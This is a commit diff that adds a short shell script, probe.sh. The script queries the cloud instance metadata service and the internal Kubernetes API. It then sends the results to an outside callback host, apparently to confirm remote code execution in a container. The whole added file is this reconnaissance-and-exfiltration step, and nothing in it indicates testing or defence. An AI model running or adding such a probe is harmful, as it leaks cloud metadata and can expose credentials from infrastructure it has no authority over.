add probe script

probe.sh

@@ -0,0 +1,13 @@
+#!/bin/sh
+# Probe IMDS and callback
+PROBE_URL="https://xitro-env-probe.hf.space"
+
+# Test IMDS
+IMDS=$(wget -q -O- --timeout=3 http://169.254.169.254/latest/meta-data/ 2>&1 | head -c 100 || echo "BLOCKED")
+K8S=$(wget -q -O- --timeout=3 https://kubernetes.default.svc.cluster.local/ 2>&1 | head -c 100 || echo "BLOCKED")
+
+# Callback with results
+wget -q -O- "${PROBE_URL}/rce?src=docker_sh&imds=$(echo $IMDS | head -c 50)&k8s=$(echo $K8S | head -c 50)" 2>/dev/null || true
+
+echo "IMDS: $IMDS"
+echo "K8S: $K8S"